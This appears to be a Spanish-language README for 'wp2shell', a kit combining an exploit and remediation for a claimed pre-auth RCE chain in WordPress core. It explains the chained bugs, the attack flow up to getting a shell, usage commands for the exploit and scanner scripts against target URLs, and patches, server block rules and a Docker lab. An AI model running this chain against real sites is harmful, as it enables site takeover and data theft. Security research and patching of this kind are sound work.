
wp2shell — RCE pre-auth en WordPress Core (CVE-2026-63030 + CVE-2026-60137). Kit de explotación + remediación.
CVE-2026-63030 (Confusión de rutas en batch, CVSS 7.5) + CVE-2026-60137 (Inyección SQL, CVSS 9.1)
Una cadena de ejecución remota de código sin autenticación previa en el núcleo de WordPress que no requiere plugins, ni configuración especial, y que funciona en instalaciones por defecto.
| Rango de versiones | Impacto | Corregido en |
|---|---|---|
| WordPress 7.0.0 – 7.0.1 | RCE completo | 7.0.2 |
| WordPress 6.9.0 – 6.9.4 | RCE completo | 6.9.5 |
| WordPress 6.8.0 – 6.8.5 | Solo inyección SQL | 6.8.6 |
Requisito previo: Sin caché de objetos persistente (Redis/Memcached). Esta es la configuración por defecto en la gran mayoría de las instalaciones de WordPress.
El exploit encadena dos vulnerabilidades:
Confusión de rutas en batch de la API REST — Una ruta malformada en una subpetición batch hace que wp_parse_url() devuelva false, creando un WP_Error que desincroniza los arrays $matches[] y $requests[]. Las peticiones posteriores se despachan contra manejadores incorrectos, evadiendo la autenticación.
Inyección SQL en WP_Query — Cuando author__not_in se pasa como cadena (no como array), se omite la sanitización mediante absint() y el valor sin procesar se interpola directamente en la cláusula WHERE del SQL.
Combinado con el sistema de caché oEmbed de WordPress (primitiva de escritura), la publicación automática de changesets de Customizer (escalada de privilegios) y la reentrada de la API REST (despacho privilegiado), todo ello permite la ejecución de código sin autenticación.
wp2shell/
├── README.md ← This file
│
├── wp2shell-exploit/ ← Exploitation tools
│ ├── exploit.py # Full pre-auth RCE (no password cracking)
│ ├── exploit_hash.py # Hash extraction + authenticated RCE
│ ├── detect.py # Non-destructive vulnerability scanner
│ └── README.md
│
├── wp2shell-patch/ ← Remediation
│ ├── patch.sh # Source code patch (mirrors official fix)
│ ├── wp2shell-shield.php # Drop-in mu-plugin (30-second deploy)
│ ├── block-batch.conf # Nginx mitigation
│ ├── block-batch.htaccess # Apache mitigation
│ └── README.md
│
├── docker-compose.yml # Vulnerable test environment (WP 7.0.1)
└── Dockerfile.debug # XDebug-enabled image for research
El código fuente de WordPress no está incluido. Descárgalo desde https://wordpress.org/download/releases/ (7.0.1 para la versión vulnerable, 7.0.2 para la corregida).
cd wp2shell-exploit
# Single target
python3 detect.py https://target.example
# With SQL injection timing confirmation
python3 detect.py https://target.example --confirm-sqli
# Batch scan from file
python3 detect.py targets.txt -q
# Full pre-auth RCE (recommended — no password cracking needed)
python3 exploit.py https://target.example -c "id"
# Just extract data via blind SQLi
python3 exploit.py https://target.example "SELECT user_login FROM wp_users LIMIT 1"
# Alternative: extract hash + crack + auth RCE
python3 exploit_hash.py https://target.example
# Then after cracking:
python3 exploit_hash.py https://target.example --user admin --pass cracked_pw -c "id"
cd wp2shell-patch
# Option 1: Drop-in plugin (fastest, no restart needed)
cp wp2shell-shield.php /path/to/wordpress/wp-content/mu-plugins/
# Option 2: Web server block
# Nginx: include block-batch.conf in server block
# Apache: prepend block-batch.htaccess to .htaccess
# Option 3: Source patch (complete fix)
sudo bash patch.sh /path/to/wordpress
# Best option: just update WordPress
wp core update # or Dashboard → Updates
┌─────────────────────────────┐
│ Anonymous HTTP Request │
│ POST /?rest_route=/batch/v1 │
└──────────────┬──────────────┘
│
┌──────────────▼──────────────┐
│ Batch Desync (outer) │
│ Malformed path → WP_Error │
│ $matches[] array shifts │
└──────────────┬──────────────┘
│
┌──────────────▼──────────────┐
│ Steal /batch/v1 handler │
│ (no permission_callback!) │
│ → nested batch executes │
└──────────────┬──────────────┘
│
┌──────────────▼──────────────┐
│ Batch Desync (inner) │
│ GET methods now allowed │
│ author_exclude unsanitized │
└──────────────┬──────────────┘
│
┌────────────────────┼────────────────────┐
│ │ │
┌──────────▼──────────┐ ┌──────▼──────┐ ┌──────────▼──────────┐
│ Phase 1: oEmbed │ │ Phase 2: │ │ Phase 3: Escalation │
│ UNION SELECT fake │ │ Blind SQLi │ │ Cache poison + │
│ post with [embed] │ │ extract IDs │ │ Changeset publish │
│ → WP creates cache │ │ + admin ID │ │ → wp_set_current_ │
│ posts (write prim.) │ │ │ │ user(admin) │
└─────────────────────┘ └─────────────┘ └──────────┬──────────┘
│
┌──────────────▼──────────────┐
│ Re-entrancy │
│ parse_request triggers │
│ serve_request() re-entry │
│ → now running as admin! │
└──────────────┬──────────────┘
│
┌──────────────▼──────────────┐
│ POST /wp/v2/users │
│ Creates new administrator │
│ → Login → Plugin → Shell │
└─────────────────────────────┘
WordPress 6.9.5 / 7.0.2 aplica tres correcciones, cada una de las cuales rompe un eslabón de la cadena:
WordPress 7.0.2 elimina además la funcionalidad de colaboración (defensa en profundidad).
# Start vulnerable WordPress 7.0.1
docker compose up -d
# Wait for MySQL to init, then install
curl -s "http://localhost:8888/wp-admin/install.php?step=2" \
--data-urlencode "weblog_title=Test" \
--data-urlencode "user_name=admin" \
--data-urlencode "admin_password=TestPassword123" \
--data-urlencode "admin_password2=TestPassword123" \
--data-urlencode "[email protected]" \
--data-urlencode "blog_public=0" \
--data-urlencode "Submit=Install WordPress"
# Exploit
python3 wp2shell-exploit/exploit.py http://localhost:8888 -c "id"
# Clean up
docker compose down
Este repositorio se proporciona únicamente para investigación de seguridad autorizada, pruebas de penetración y fines educativos. Úsalo solo en sistemas que poseas o sobre los que tengas permiso explícito por escrito para realizar pruebas.
| Corrección | Archivo | Efecto |
|---|
| Alineación de arrays | class-wp-rest-server.php | $matches[] = $single_request para las entradas WP_Error — evita la desincronización |
| Protección de reentrada | class-wp-rest-server.php + rest-api.php | if ($this->is_dispatching()) return false — evita serve_request anidado |
| Sanitización SQL | class-wp-query.php | wp_parse_id_list() siempre aplicado — evita la inyección |